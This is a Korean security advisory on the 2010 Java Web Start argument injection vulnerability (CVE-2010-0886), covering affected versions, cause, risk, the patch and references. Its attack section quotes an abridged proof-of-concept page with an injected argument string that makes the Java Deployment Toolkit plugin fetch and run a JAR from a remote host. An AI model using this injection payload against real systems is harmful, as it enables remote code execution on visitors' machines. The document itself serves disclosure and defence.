The Java Web Start Argument Injection Vulnerability
취약점 보안 권고안
By. Dear.TOM (bdr@a3sc.co.kr)
Ⅰ. 취약점 개요
취약점 명 |
The Java Web Start Argument Injection Vulnerability |
최초 발표일 |
2010년 4월 |
현재상태(패치여부) |
패치됨 |
구성요소 |
Java Web Start |
보안 영향 |
원격 코드 실행 |
위험도 |
높음 |
1. 요약
“The Java Web Start Argument Injection Vulnerability” 취약점은 JDT(Java Deployment Toolkit) 플러그인의 launch() 메소드 파라미터에 전달되는 입력 값의 유효성에 대한 검증이 미흡하여 발생하는 것으로, 해당 취약점은 2010년 4월 9일 Tavis Ormany에 의해 최초로 발표되었으며, Oracle Sun 社 에서는 4월 20일 공식 긴급 패치를 발표하였습니다.
2. 대상 시스템
다음은 Oracle Sun 社에서 해당 취약점에 취약한 버전을 공개한 목록입니다.
Java SE
• JDK and JRE 6 for Windows, Solaris, and Linux
Java for Business
• JDK and JRE 6 for Windows, Solaris and Linux |
Ⅱ. 취약점 세부 분석
1. 취약점 내용
해당 취약점은 JDT(Java Deployment Toolkit) 플러그인의 launch() 메소드의 파라미터에 전달되는 입력 값의 유효성에 대한 검증이 미흡하여 발생합니다.
JWS(Java Web Start)는 .jnlp(Java Network Launching Protocol)을 이용하여 전달받은 URL로부터 자바 어플리케이션을 다운로드 받아서 VM(Virtual Machin)에서 실행시키는 역할을 합니다. 이때, ActiveX control 과 NPAPI Plugin에서 제공하는 launch() 메소드를 통해 전달되는 URL의 유효성 검증이 미흡하여, 원격에서 악의적인 프로그램을 실행 시킬 수 있습니다.
2. 공격 분석
* 본 연구 문서는 신규 취약점 또는 보안 기술 우회 기법에 관한 문서로써 악용될 우려가 있는 상세 공격 코드 및 내용을 제한 합니다.
해당 취약점을 이용하여 제작된 악성 웹 페이지에 일반 사용자가 접근하면, 공격자가 의도한 임의의 프로그램을 실행 할 수 있습니다.
다음은 해당 취약점을 이용한 테스트 사이트의 웹 페이지 코드 입니다. 단, 해당 취약점을 최로로 밝힌 Tavis Ormany에 의해 테스트 용도로 구축되어 악의적인 공격을 수행하지는 않습니다.
<html>
...생략...
// -J 옵션을 이용하여 매개변수로 전달하는 임의의 JAR 파일 실행 가능
var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var o = document.createElement("OBJECT");
// IE 용 JDT ActiveX 플러그인 'deploytk.dll'의 클래스ID
o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";
// JDT 플러그인의 launch()를 실행하여, 변수 u에 저장되어 있는 실행 경로를
// Java Web Start(javaws.exe)의 인자로 전달
o.launch(u);
...생략...
</html> |
다음은 해당 취약점을 이용한 웹 페이지 방문 결과, 윈도우 기본 계산기 프로그램이 실행되는 것을 확인하는 화면입니다.
3. 위험 분석
공격자는 “The Java Web Start Argument Injection” 취약점을 이용하여 원격지에서 임의의 (악성)코드 실행이 가능합니다. 이미 해외에서는 해당 취약점을 이용한 악성코드 유포 사례가 발견되었고, 공개 취약점 공격 도구에도 해당 취약점을 공격하는 기능이 추가 되어 있어, 취약한 버전을 사용할 경우 공격 당할 위험이 크다고 볼 수 있으므로, Java 관련 프로그램 혹은 플러그인을 사용하는 사용자는 최신 버전(JRE 6 update 20 이상의 버전)으로 업데이트 하시기 바랍니다.
4. 패치 분석
2010년 4월 20일 이루어진 긴급 보안 패치(Java SE 6 update 20)에서는 코드 기반 파라미터가 없는 Java Network Launch Protocol(JNLP) File을 더이상 동작 하지않도록 수정이 되었다고 밝히고 있습니다.
Ⅲ. 해결 방안
1. Oracle Sun 社 에서 제공하는 공식 패치 적용 - Java 6 Updatae 20
URL) http://www.oracle.com/technology/deploy/security/alerts/alert-cve-2010-0886.html
Ⅳ. 참고자료
[1] [Full-disclosure] Java Deployment Toolkit Performs Insufficient Validation of Parameters
URL) http://lists.grok.org.uk/pipermail/full-disclosure/2010-April/074036.html
[2] Java Deployment Toolkit Test Page
URL) http://lock.cmpxchg8b.com/bb5eafbc6c6e67e11c4afc88b4e1dd22/testcase.html
[3] Java SE 6 Update 20 Release Notes
URL) http://java.sun.com/javase/6/webnotes/6u20.html
[4] Security Alert for CVE-2010-0886 and CVE-2010-0887 Released
URL) http://blogs.oracle.com/security/2010/04/security_alert_for_cve-2010-08.html
[5] JAVA Web Start Arbitrary command-line injection - "-XXaltjvm" arbitrary dll loading
URL) http://reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1
[6] Java exploit launches local Windows applications
URL) http://www.h-online.com/security/news/item/Java-exploit-launches-local-Windows-applications-974652.html
[7] Java zero-day flaw under active attack
URL) http://blogs.zdnet.com/security/?p=6161
[8] The Java Web Start Argument Injection Vulnerability
URL) http://blog.metasploit.com/2010/04/java-web-start-argument-injection.html
※ 현재 ㈜에이쓰리시큐리티에서 테스트 및 분석 중에 있으며, 이 문서는 계속 업데이트될 것입니다. 본 문서는 보안취약점으로 인한 피해를 최소화하는 데 도움이 되고자 작성되었으나, 본 문서에 포함된 대응방안의 유효성이나 기타 예상치 못한 시스템의 오작동 발생에 대하여서는 ㈜에이쓰리시큐리티에서는 일체의 책임을 지지 아니합니다.